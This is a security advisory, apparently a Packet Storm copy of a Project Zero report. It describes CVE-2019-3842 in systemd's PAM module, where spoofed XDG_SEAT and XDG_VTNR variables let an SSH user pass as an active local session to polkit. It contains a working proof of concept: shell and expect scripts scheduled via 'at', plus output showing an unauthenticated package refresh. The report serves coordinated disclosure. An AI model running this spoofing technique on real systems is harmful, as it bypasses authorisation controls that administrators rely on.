Lucene search

K
packetstormJann HornPACKETSTORM:152610
HistoryApr 23, 2019 - 12:00 a.m.

systemd Seat Verification Active Session Spoofing

2019-04-2300:00:00
Jann Horn
packetstormsecurity.com
81

0.002 Low

EPSS

Percentile

54.1%

`systemd: lack of seat verification in PAM module permits spoofing active session to polkit   
  
Related CVE Numbers: CVE-2019-3842.  
  
  
[I am sending this bug report to Ubuntu as requested by systemd at  
<https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports>.]  
  
As documented at  
<https://www.freedesktop.org/software/polkit/docs/latest/polkit.8.html>, for  
any action, a polkit policy can specify separate levels of required  
authentication based on whether a client is:  
  
- in an active session on a local console  
- in an inactive session on a local console  
- or neither  
  
This is expressed in the policy using the elements \"allow_any\",  
\"allow_inactive\" and \"allow_active\". Very roughly speaking, the idea here is  
to give special privileges to processes owned by users that are sitting  
physically in front of the machine (or at least, a keyboard and a screen that  
are connected to a machine), and restrict processes that e.g. belong to users  
that are ssh'ing into a machine.  
  
For example, the ability to refresh the system's package index is restricted  
this way using a policy in  
/usr/share/polkit-1/actions/org.freedesktop.packagekit.policy:  
  
<action id=\"org.freedesktop.packagekit.system-sources-refresh\">  
[...]  
<description>Refresh system repositories</description>  
[...]  
<message>Authentication is required to refresh the system repositories</message>  
[...]  
<defaults>  
<allow_any>auth_admin</allow_any>  
<allow_inactive>auth_admin</allow_inactive>  
<allow_active>yes</allow_active>  
</defaults>  
</action>  
  
  
On systems that use systemd-logind, polkit determines whether a session is  
associated with a local console by checking whether systemd-logind is tracking  
the session as being associated with a \"seat\". This happens through  
polkit_backend_session_monitor_is_session_local() in  
polkitbackendsessionmonitor-systemd.c, which calls sd_session_get_seat().  
The check whether a session is active works similarly.  
  
systemd-logind is informed about the creation of new sessions by the PAM  
module pam_systemd through a systemd message bus call from  
pam_sm_open_session() to method_create_session(). The RPC method trusts the  
information supplied to it, apart from some consistency checks; that is not  
directly a problem, since this RPC method can only be invoked by root.  
This means that the PAM module needs to ensure that it doesn't pass incorrect  
data to systemd-logind.  
  
Looking at the code in the PAM module, however, you can see that the seat name  
of the session and the virtual terminal number come from environment  
variables:  
  
seat = getenv_harder(handle, \"XDG_SEAT\", NULL);  
cvtnr = getenv_harder(handle, \"XDG_VTNR\", NULL);  
type = getenv_harder(handle, \"XDG_SESSION_TYPE\", type_pam);  
class = getenv_harder(handle, \"XDG_SESSION_CLASS\", class_pam);  
desktop = getenv_harder(handle, \"XDG_SESSION_DESKTOP\", desktop_pam);  
  
This is actually documented at  
<https://www.freedesktop.org/software/systemd/man/pam_systemd.html#Environment>.  
  
After some fixup logic that is irrelevant here, this data is then passed to  
the RPC method.  
  
  
One quirk of this issue is that a new session is only created if the calling  
process is not already part of a session (based on the cgroups it is in,  
parsed from procfs). This means that an attacker can't simply ssh into a  
machine, set some environment variables, and then invoke a setuid binary that  
uses PAM (such as \"su\") because ssh already triggers creation of a session via  
PAM. But as it turns out, the systemd PAM module is only invoked for  
interactive sessions:  
  
# cat /usr/share/pam-configs/systemd  
Name: Register user sessions in the systemd control group hierarchy  
Default: yes  
Priority: 0  
Session-Interactive-Only: yes  
Session-Type: Additional  
Session:  
optional pam_systemd.so  
  
So, under the following assumptions:  
  
- we can run commands on the remote machine, e.g. via SSH  
- our account can be used with \"su\" (it has a password and isn't disabled)  
- the machine has no X server running and is currently displaying tty1, with  
a login prompt  
  
we can have our actions checked against the \"allow_active\" policies instead of  
the \"allow_any\" policies as follows:  
  
- SSH into the machine  
- use \"at\" to schedule a job in one minute that does the following:  
* wipe the environment  
* set XDG_SEAT=seat0 and XDG_VTNR=1  
* use \"expect\" to run \"su -c {...} {our_username}\" and enter our user's  
password  
* in the shell invoked by \"su\", perform the action we want to run under the  
\"allow_active\" policy  
  
  
I tested this in a Debian 10 VM, as follows (\"{{{...}}}\" have been replaced),  
after ensuring that no sessions are active and the VM's screen is showing the  
login prompt on tty1; all following commands are executed over SSH:  
  
  
=====================================================================  
normal_user@deb10:~$ cat session_outer.sh   
#!/bin/sh  
echo \"===== OUTER TESTING PKCON\" >/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
env -i /home/normal_user/session_middle.sh  
normal_user@deb10:~$ cat session_middle.sh   
#!/bin/sh  
export XDG_SEAT=seat0  
export XDG_VTNR=1  
  
echo \"===== ENV DUMP =====\" > /tmp/atjob.log  
env >> /tmp/atjob.log  
  
echo \"===== SESSION_OUTER =====\" >> /tmp/atjob.log  
cat /proc/self/cgroup >> /tmp/atjob.log  
  
echo \"===== OUTER LOGIN STATE =====\" >> /tmp/atjob.log  
loginctl --no-ask-password >> /tmp/atjob.log  
  
echo \"===== MIDDLE TESTING PKCON\" >>/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
  
/home/normal_user/runsu.expect  
  
echo \"=========================\" >> /tmp/atjob.log  
normal_user@deb10:~$ cat runsu.expect   
#!/usr/bin/expect  
spawn /bin/su -c \"/home/normal_user/session_inner.sh\" normal_user  
expect \"Password: \"  
send \"{{{PASSWORD}}}\  
\"  
expect eof  
  
normal_user@deb10:~$ cat session_inner.sh   
#!/bin/sh  
echo \"===== INNER LOGIN STATE =====\" >> /tmp/atjob.log  
loginctl --no-ask-password >> /tmp/atjob.log  
  
echo \"===== SESSION_INNER =====\" >> /tmp/atjob.log  
cat /proc/self/cgroup >> /tmp/atjob.log  
  
echo \"===== INNER TESTING PKCON\" >>/tmp/atjob.log  
pkcon refresh -p </dev/null >>/tmp/atjob.log  
  
normal_user@deb10:~$ loginctl  
SESSION UID USER SEAT TTY   
7 1001 normal_user pts/0  
  
1 sessions listed.  
normal_user@deb10:~$ pkcon refresh -p </dev/null  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tFinished  
Results:  
Fatal error: Failed to obtain authentication.  
normal_user@deb10:~$ at -f /home/normal_user/session_outer.sh {{{TIME}}}  
warning: commands will be executed using /bin/sh  
job 25 at {{{TIME}}}  
{{{ wait here until specified time has been reached, plus time for the job to finish running}}}  
normal_user@deb10:~$ cat /tmp/atjob.log   
===== ENV DUMP =====  
XDG_SEAT=seat0  
XDG_VTNR=1  
PWD=/home/normal_user  
===== SESSION_OUTER =====  
10:memory:/system.slice/atd.service  
9:freezer:/  
8:pids:/system.slice/atd.service  
7:perf_event:/  
6:devices:/system.slice/atd.service  
5:net_cls,net_prio:/  
4:cpuset:/  
3:blkio:/  
2:cpu,cpuacct:/  
1:name=systemd:/system.slice/atd.service  
0::/system.slice/atd.service  
===== OUTER LOGIN STATE =====  
SESSION UID USER SEAT TTY   
7 1001 normal_user pts/0  
  
1 sessions listed.  
===== MIDDLE TESTING PKCON  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tFinished  
Results:  
Fatal error: Failed to obtain authentication.  
===== INNER LOGIN STATE =====  
SESSION UID USER SEAT TTY   
18 1001 normal_user seat0 pts/1  
7 1001 normal_user pts/0  
  
2 sessions listed.  
===== SESSION_INNER =====  
10:memory:/user.slice/user-1001.slice/session-18.scope  
9:freezer:/  
8:pids:/user.slice/user-1001.slice/session-18.scope  
7:perf_event:/  
6:devices:/user.slice  
5:net_cls,net_prio:/  
4:cpuset:/  
3:blkio:/  
2:cpu,cpuacct:/  
1:name=systemd:/user.slice/user-1001.slice/session-18.scope  
0::/user.slice/user-1001.slice/session-18.scope  
===== INNER TESTING PKCON  
Transaction:\tRefreshing cache  
Status: \tWaiting in queue  
Status: \tWaiting for authentication  
Status: \tWaiting in queue  
Status: \tStarting  
Status: \tLoading cache  
Percentage:\t0  
Percentage:\t50  
Percentage:\t100  
Percentage:\t0  
Percentage:\t50  
Percentage:\t100  
Status: \tRefreshing software list  
Status: \tDownloading packages  
Percentage:\t0  
Status: \tRunning  
Status: \tLoading cache  
Percentage:\t100  
Status: \tFinished  
Results:  
Enabled http://ftp.ch.debian.org/debian buster InRelease  
Enabled http://security.debian.org/debian-security buster/updates InRelease  
Enabled http://debug.mirrors.debian.org/debian-debug buster-debug InRelease  
=========================  
You have new mail in /var/mail/normal_user  
normal_user@deb10:~$   
=====================================================================  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
Found by: [email protected]  
  
`